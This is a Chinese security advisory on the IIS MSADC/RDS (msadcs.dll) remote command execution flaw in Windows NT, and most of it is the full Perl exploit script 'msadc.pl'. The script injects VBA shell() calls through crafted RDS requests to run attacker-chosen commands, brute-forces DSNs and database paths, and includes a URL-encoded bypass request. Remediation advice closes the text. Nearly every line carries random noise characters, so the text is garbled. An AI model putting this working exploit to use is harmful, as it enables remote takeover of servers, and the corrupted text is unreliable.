IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
|:Q`9; Y_S>S( 0 涉及程序：
a8$g XX-2 Microsoft NT server
Ni bOtIZ OZ2YflT 描述：
BTi:Bcv k 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
"kH Ft|%@ :s(vn Ie^ 详细：
A 9\]y%! 如果你没有时间读详细内容的话，就删除:
UM[<v9NWE c:\Program Files\Common Files\System\Msadc\msadcs.dll
z ;fi 有关的安全问题就没有了。
U5_1-wV G3r9@ 2OC 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
>d1gVBhk YI0ub B 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
LNm{}V J% 关于利用ODBC远程漏洞的描述，请参看:
#*r u* s{q)P1x http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm BM6 J 9#C hn~ \ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
9j6# #@{ http://www.microsoft.com/security/bulletins/MS99-025faq.asp 6@ N?`6Bt z^xrB$8
u 这里不再论述。
mI; #Zq_j YSQB* FBz 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
_h K83s4 WrzyBG_ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
\:`'!X1*U 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
7-*QF>w<a ?uiQ'} G?`x$U U #将下面这段保存为txt文件，然后: "perl -x 文件名"
aVI%FycYo 1K<4Kz~ #!perl
=Tdh]0 #
c(:qid # MSADC/RDS 'usage' (aka exploit) script
-5v2E- #
N9lCbtn(0x # by rain.forest.puppy
HkH!B.H] #
~Z ,b d$ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
#+X|,0p # beta test and find errors!
]yzqBbV &PfCY{_ use Socket; use Getopt::Std;
BPFd'- O) getopts("e:vd:h:XR", \%args);
g\Gx
oR _3G;-iNX; print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
ML6V,-KU Z @: 5vo if (!defined $args{h} && !defined $args{R}) {
YJio R4+q print qq~
W> ZL[BQ Usage: msadc.pl -h <host> { -d <delay> -X -v }
%j
'_I\ -h <host> = host you want to scan (ip or domain)
hJ )>BeH0 -d <seconds> = delay between calls, default 1 second
F0 cde -X = dump Index Server path table, if available
]}K\&ho2 -v = verbose
\o w3_^Bk -e = external dictionary file for step 5
@ O~ aFZu 5-=x Or a -R will resume a command session
$?38o 6 2!6+>nvO ~; exit;}
O {0 TS^ }7`HJ>+m)H $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
)p,uZ`~v if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
&) '5_#S if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
RC[b+J,q if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
{i:5XL $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
:'\4%D=w if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
aD2+9?m M 5mCG if (!defined $args{R}){ $ret = &has_msadc;
pt"yJtM'P die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
h)O<bI8 F,CQAgx print "Please type the NT commandline you want to run (cmd /c assumed):\n"
;SBM7fwRk . "cmd /c ";
5S PGv}if $in=<STDIN>; chomp $in;
e+"r L] $command="cmd /c " . $in ;
H79|%@F" 1=DUFl. if (defined $args{R}) {&load; exit;}
q#v&&]N= 8aw'Q? print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
r4}:t$ &try_btcustmr;
f1Ruaz- &~
g||rq print "\nStep 2: Trying to make our own DSN...";
cdL$T6y &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
L+@RK6dq X*F#=.lh print "\nStep 3: Trying known DSNs...";
;4nz'9+ &known_dsn;
MVV9[f =K# D^c~ print "\nStep 4: Trying known .mdbs...";
H"4^ &known_mdb;
m#+0uZm( m (nGtrQJm if (defined $args{e}){
_yT Gv- print "\nStep 5: Trying dictionary of DSN names...";
jGM~(;iw6i &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
2<Pi2s' lz X0B&: print "Sorry Charley...maybe next time?\n";
oB8u[ ! exit;
W:{1R&$l rmc0dm&l] ##############################################################################
sH O6y0P t&( }`W sub sendraw { # ripped and modded from whisker
,Z*?"d sleep($delay); # it's a DoS on the server! At least on mine...
61>@-55k9 my ($pstr)=@_;
Ej>5PXp'2 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ZP5.?A-=C die("Socket problems\n");
UN[rW0* if(connect(S,pack "SnA4x8",2,80,$target)){
d:} a FP[ select(S); $|=1;
:%Na-j9hV) print $pstr; my @in=<S>;
vs;T} ' O select(STDOUT); close(S);
j_c0oclSz return @in;
_x_om#~n } else { die("Can't connect...\n"); }}
j@$p(P$ +xMK.*H]W ##############################################################################
B'>(kZYMs 8? !=/Sc sub make_header { # make the HTTP request
1?sR1du, my $msadc=<<EOT
g
&~T X POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
] )D\ws)a9 User-Agent: ACTIVEDATA
{FyG h
*/ Host: $ip
`P}T{!P+6 Content-Length: $clen
C* Avu Connection: Keep-Alive
'PTWC.C?9 U WYLT-^x ADCClientVersion:01.06
rf1Us2vp Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
B]oIFL ED ) >0 8{7 --!ADM!ROX!YOUR!WORLD!
#|`/K[.xd% Content-Type: application/x-varg
(:W=8G,p Content-Length: $reqlen
\NwL #bQ~ E`%Ewt$Z EOT
'}h[*IB}5 ; $msadc=~s/\n/\r\n/g;
8$}1| "F return $msadc;}
4h wUH -ZqN~5>j) ##############################################################################
u1 d{|fF 2)(P;[m^o sub make_req { # make the RDS request
_uU }J5d. my ($switch, $p1, $p2)=@_;
>! :uVS my $req=""; my $t1, $t2, $query, $dsn;
]v96Q /a ZVu&q{s, if ($switch==1){ # this is the btcustmr.mdb query
%9hz z5# $query="Select * from Customers where City=" . make_shell();
n)$T
zND $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Ftu~ nh} $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
y1P KoN|K F aO=<jYi elsif ($switch==2){ # this is general make table query
{X$8yy2zC5 $query="create table AZZ (B int, C varchar(10))";
Cisv**9 $dsn="$p1";}
2uw1R; zw `BA we f elsif ($switch==3){ # this is general exploit table query
t,|`#6 Ft $query="select * from AZZ where C=" . make_shell();
JD1IL` ta; $dsn="$p1";}
&c< 0 g`x }S84^2J_ elsif ($switch==4){ # attempt to hork file info from index server
P9(]9np,, $query="select path from scope()";
R zG7Xr=t $dsn="Provider=MSIDXS;";}
Q;
DN* ZZ/F}9! = elsif ($switch==5){ # bad query
xW92 ZuzSH $query="select";
3Z.<=D $dsn="$p1";}
Y]
Q=kI U1zcJ l^ $t1= make_unicode($query);
$:|z{p $t2= make_unicode($dsn);
Dw\)!,,i7U $req = "\x02\x00\x03\x00";
N!O.=>8< $req.= "\x08\x00" . pack ("S1", length($t1));
.m',*s<CMQ $req.= "\x00\x00" . $t1 ;
O0|**Km\+ $req.= "\x08\x00" . pack ("S1", length($t2));
p72:oX\Q I $req.= "\x00\x00" . $t2 ;
<Uz~V; $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
\SA"DT return $req;}
2L=+z1%I _oOE MQb ##############################################################################
h( lkC[a& wW5:p]<Y sub make_shell { # this makes the shell() statement
'] 'H8Y-M return "'|shell(\"$command\")|'";}
0I|IL]JL 014p = W ##############################################################################
#;4afj:2g () l#}H`m sub make_unicode { # quick little function to convert to unicode
UkO L 7M my ($in)=@_; my $out;
axf 4 N@ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
QfLDyJ v`e return $out;}
k91ctEp9> U g 'y ##############################################################################
O\=U'6 @ *3,GQ%~/z sub rdo_success { # checks for RDO return success (this is kludge)
9XU"Ppv my (@in) = @_; my $base=content_start(@in);
z(-j%? if($in[$base]=~/multipart\/mixed/){
5C03)Go3Z return 1 if( $in[$base+10]=~/^\x09\x00/ );}
XynDo^+ru return 0;}
P[;<,U;'HO s bWen? ##############################################################################
[K(|V /h)_Q;35S; sub make_dsn { # this makes a DSN for us
p i ;,?p- my @drives=("c","d","e","f");
&&(^;+
print "\nMaking DSN: ";
q+KGQ* foreach $drive (@drives) {
0
`Yg print "$drive: ";
Yq pe2II7 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
!x%$xC^Iz "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
[iT*L) R4 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Ng1{ NI+S $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
!foiGZ3g return 0 if $2 eq "404"; # not found/doesn't exist
E41ay:duAl if($2 eq "200") {
O]| T ! foreach $line (@results) {
c. <bz return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
d*M:P jG@ } return 0;}
E`M, n , :1O49g3R ##############################################################################
<-Hw@g ;J ]Lzh sub verify_exists {
dKG 2f my ($page)=@_;
M5C%(sQ$ my @results=sendraw("GET $page HTTP/1.0\n\n");
2@W'q=+0 return $results[0];}
Cyn_ UE )0 tq& ##############################################################################
t XbMP \DgWp:| sub try_btcustmr {
+nOa&d\ my @drives=("c","d","e","f");
xDsB%~ my @dirs=("winnt","winnt35","winnt351","win","windows");
q]^Q?r<g:: 3|Vh[iAa\ foreach $dir (@dirs) {
< ,X?+hr print "$dir -> "; # fun status so you can see progress
C5ia9LpRX foreach $drive (@drives) {
k% -S7iQ print "$drive: "; # ditto
w~lxWgaY7 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
BQ
/0 z^A $reqlenlen=length( "$reqlen" );
$ HE ?B{ $clen= 206 + $reqlenlen + $reqlen;
o'hwyXy/S | Gq Ka my @results=sendraw(make_header() . make_req(1,$drive,$dir));
-h|YS/$f if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
V9 SkB3-' else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
D( YN a A2xfNY< ##############################################################################
h p< NVST P+/6-C J sub odbc_error {
^~65M/ my (@in)=@_; my $base;
JIYZ my $base = content_start(@in);
[$+N"4 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
@x4IxGlUs $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9-6E(D-ux $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
u&7c2|Q $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\'}? j- 8 return $in[$base+4].$in[$base+5].$in[$base+6];}
0)Wrfa print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
So^; 5tG print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
THXG~3J< $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
]|#%`p56 12bt\ h9 ##############################################################################
sm1(I7y ^XbN&'^,HL sub verbose {
e>a4v8 my ($in)=@_;
sE Rm+x< return if !$verbose;
Y8$,So>~ print STDOUT "\n$in\n";}
@$bEY#*C kTQvMa-X9D ##############################################################################
QT\=>,Fz _ ow!NH,'Hy sub save {
y~ZYI]`
J my ($p1, $p2, $p3, $p4)=@_;
-%g&O-i\ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
ha -KfkPFE print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
wm<` 0} close OUT;}
vXP+*5d/ K ]@rt/ eX ##############################################################################
g
AZe&"K *co=<g]4KY sub load {
^q$m>|KI my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
;Ww s;.~ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
~ }g "Fe @p=<IN>; close(IN);
>>nt3q $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
mK>c+ u) $target= inet_aton($ip) || die("inet_aton problems");
TO|&}sDh print "Resuming to $ip ...";
-q}c;0vL-a $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
dg?[gD8!4& if($p[1]==1) {
h ?Ni5 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
1syI%I1 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
8!T6N2O6d my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
mqx #N% if (rdo_success(@results)){print "Success!\n";}
_eE hIQ9 else { print "failed\n"; verbose(odbc_error(@results));}}
_^;;vR% elsif ($p[1]==3){
?(up!3S'x if(run_query("$p[3]")){
+; H-0Q 5 print "Success!\n";} else { print "failed\n"; }}
^Ia:e
?)W elsif ($p[1]==4){
AWY#t& if(run_query($drvst . "$p[3]")){
e)Be*J]4 print "Success!\n"; } else { print "failed\n"; }}
d^0v aX6e} exit;}
7({"dW tqnvC
UIE ##############################################################################
:#?Z)oQpT s bxOnw P\ sub create_table {
sNet[y:O3 my ($in)=@_;
7kQZ$sLc $reqlen=length( make_req(2,$in,"") ) - 28;
H\zV/1~ Y $reqlenlen=length( "$reqlen" );
v(=?ge YLo $clen= 206 + $reqlenlen + $reqlen;
l;N?*2zm[ my @results=sendraw(make_header() . make_req(2,$in,""));
KfSI6
Y _ return 1 if rdo_success(@results);
<3[ ,bTIk my $temp= odbc_error(@results); verbose($temp);
3rF=u:r7 c return 1 if $temp=~/Table 'AZZ' already exists/;
gJkk0wok C return 0;}
8>}k5Qu O> 5xFz'm ##############################################################################
,?'":T1[ s*g y k sub known_dsn {
XUD/\M oV # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
5XNIX)H my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
O<R6^0B42 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
,w.`( ?I/ "banner", "banners", "ads", "ADCDemo", "ADCTest");
0Fw0#eE H~E( ~fl foreach $dSn (@dsns) {
N p9N# m? print ".";
48dIh\TH" next if (!is_access("DSN=$dSn"));
#A<|&#hh if(create_table("DSN=$dSn")){
<Z5ak4P print "$dSn successful\n";
maQE Bi, if(run_query("DSN=$dSn")){
XzI c<81Z print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
( ,1}P print "Something's borked. Use verbose next time\n";}}} print "\n";}
k%-_z}:3V "]J4 BZD ##############################################################################
14U:.Q zTP|H5HyK sub is_access {
YzasT:EZN my ($in)=@_;
Cp[{| U-?G $reqlen=length( make_req(5,$in,"") ) - 28;
?g7O([*[ $reqlenlen=length( "$reqlen" );
>P-{2
a,4 $clen= 206 + $reqlenlen + $reqlen;
~57.0?IK my @results=sendraw(make_header() . make_req(5,$in,""));
[^rMM1^,OB my $temp= odbc_error(@results);
rV
*`0hA1 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
wtm= return 0;}
0m`{m'B4n `dp]N0nz ##############################################################################
fz hCV ;t_'87h$y sub run_query {
lZI?k=rWv my ($in)=@_;
O:hCUr $reqlen=length( make_req(3,$in,"") ) - 28;
k M>Bk \ $reqlenlen=length( "$reqlen" );
= MP?aH
[ $clen= 206 + $reqlenlen + $reqlen;
555*IT3b my @results=sendraw(make_header() . make_req(3,$in,""));
(n>g C
return 1 if rdo_success(@results);
3<L>BakD my $temp= odbc_error(@results); verbose($temp);
Te :4 z@? return 0;}
#$ Q2ijT0 @ 7WWoy ##############################################################################
6')pM&`t x9Nc Ia9 sub known_mdb {
(H/2{## my @drives=("c","d","e","f","g");
Qel2OI `b my @dirs=("winnt","winnt35","winnt351","win","windows");
+5>*$L%8T` my $dir, $drive, $mdb;
1%R8q=_ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
n&4 4Acs[ oQ=v:P] # this is sparse, because I don't know of many
xlW`4\ Pa my @sysmdbs=( "\\catroot\\icatalog.mdb",
@5i m*ubzM "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
2^\67@9 "\\system32\\certmdb.mdb",
t04 _~e "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
6~t;&)6J KO ~_ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
_(R 1En1 "\\cfusion\\cfapps\\forums\\forums_.mdb",
p#yq 'kY "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
L93PDp4v "\\cfusion\\cfapps\\security\\realm_.mdb",
"Q>gQKgL "\\cfusion\\cfapps\\security\\data\\realm.mdb",
LxcC5/@\~( "\\cfusion\\database\\cfexamples.mdb",
}#0i1]n$D "\\cfusion\\database\\cfsnippets.mdb",
\m\E*c
): "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
PqhR^re0. "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
%O=U|tuc$ "\\cfusion\\brighttiger\\database\\cleam.mdb",
WFYbmfmV "\\cfusion\\database\\smpolicy.mdb",
lh N2xg5x "\\cfusion\\database\cypress.mdb",
Hw(_l,Xf "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
"k0b j> "\\website\\cgi-win\\dbsample.mdb",
zn=I fz)#| "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
YEg(QOn3Q "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
19r4J(pV
); #these are just
`~0^fSww foreach $drive (@drives) {
mHiV } ;$ foreach $dir (@dirs){
S1!X;PP/ foreach $mdb (@sysmdbs) {
1&Fty'p print ".";
?tf/#5t} if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
U:a-Wi+ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
o `]o(OP if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
\L-K}U>J print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
+ # 38 } else { print "Something's borked. Use verbose next time\n"; }}}}}
%y{f ] m ':mw(` foreach $drive (@drives) {
T~238 C{vh foreach $mdb (@mdbs) {
o9j*Yz print ".";
[\Ks+ S if(create_table($drv . $drive . $dir . $mdb)){
&yQilyU{V print "\n" . $drive . $dir . $mdb . " successful\n";
+5zLQ>]z if(run_query($drv . $drive . $dir . $mdb)){
d-W@/J print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
R.Plfm06Ue } else { print "Something's borked. Use verbose next time\n"; }}}}
<3 b|Sk:T }
WRq:xDRn 0 7jj.maK ##############################################################################
,vxxp]#5 cJ}J4? sub hork_idx {
*Y4[YnkPE print "\nAttempting to dump Index Server tables...\n";
')bas#=uP print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
HFtl4P $reqlen=length( make_req(4,"","") ) - 28;
e d=pRb $reqlenlen=length( "$reqlen" );
s!v vAD;\ $clen= 206 + $reqlenlen + $reqlen;
\NiW(!Z} my @results=sendraw2(make_header() . make_req(4,"",""));
? ^8CD.| if (rdo_success(@results)){
4P>[ ]~S my $max=@results; my $c; my %d;
zQ&k$l9 for($c=19; $c<$max; $c++){
P
-O& X $results[$c]=~s/\x00//g;
W -pN $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
C\Y%FTS: $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
\1[=t+/ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
i42M.M6D $ $d{"$1$2"}="";}
kF1Tg KSd foreach $c (keys %d){ print "$c\n"; }
*_qW;l7 } else {print "Index server doesn't seem to be installed.\n"; }}
w%3R[Kdzk ~6<'cun@x ##############################################################################
:EkhF 6B/ cE|Z=}4I7 sub dsn_dict {
c2tf7 fkH open(IN, "<$args{e}") || die("Can't open external dictionary\n");
c,v?2*< while(<IN>){
!xIK<H{* $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
J&B>"s, next if (!is_access("DSN=$dSn"));
_3 pME9l if(create_table("DSN=$dSn")){
]]EOCGZ" print "$dSn successful\n";
$=IJ- _'o if(run_query("DSN=$dSn")){
F*0rpQ,* print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(3_m[N\F print "Something's borked. Use verbose next time\n";}}}
b_'VWd:am print "\n"; close(IN);}
[110[i^ @`IMR$' ##############################################################################
G1X${x7 !"G|y4O sub sendraw2 { # ripped and modded from whisker
FC +}gJ(q sleep($delay); # it's a DoS on the server! At least on mine...
6] Vf`i my ($pstr)=@_;
&f;<[_QI= socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
RTL A* die("Socket problems\n");
>" z$p@7 if(connect(S,pack "SnA4x8",2,80,$target)){
: vsF4 print "Connected. Getting data";
dYEsSFB m open(OUT,">raw.out"); my @in;
MnQ4,+ji- select(S); $|=1; print $pstr;
snH9@!cG8 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
7 7]6_ close(OUT); select(STDOUT); close(S); return @in;
#77p>zhY } else { die("Can't connect...\n"); }}
Uyuvmt> \i2S'AblYq ##############################################################################
=!~6RwwwY odm!}stus sub content_start { # this will take in the server headers
c9
&L K J6 my (@in)=@_; my $c;
b: c$EPK for ($c=1;$c<500;$c++) {
_wY <8 F* if($in[$c] =~/^\x0d\x0a/){
>k)zd- if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
5, j&-{ 0W else { return $c+1; }}}
*!w Bn return -1;} # it should never get here actually
; 7HL/- C<T)'^7z ##############################################################################
w.:fl4V =Qf. sub funky {
RyN}Gz/YN my (@in)=@_; my $error=odbc_error(@in);
{'^!S" 9x if($error=~/ADO could not find the specified provider/){
:
U Yn print "\nServer returned an ADO miscofiguration message\nAborting.\n";
_'.YC<; exit;}
*oW^P~m/ if($error=~/A Handler is required/){
s (hJ * print "\nServer has custom handler filters (they most likely are patched)\n";
`yvH0B - exit;}
x,+2k6Wn! if($error=~/specified Handler has denied Access/){
)M: pg% print "\nServer has custom handler filters (they most likely are patched)\n";
zD D1Eyc H exit;}}
(c'kZ9& / &eF,4 ##############################################################################
'y?
HF@NJ -:P`Rln sub has_msadc {
E979qKl my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
$YPQi. my $base=content_start(@results);
Aq5@k\[ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
%ylpn7I\6 return 0;}
m`Dn R`+ M6MtE_E ########################
7Gs0DwV ;/- X;!a> K;NaiRP#k 解决方案：
yClb M5, 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
l0sBXs`3 b 2、移除web 目录: /msadc
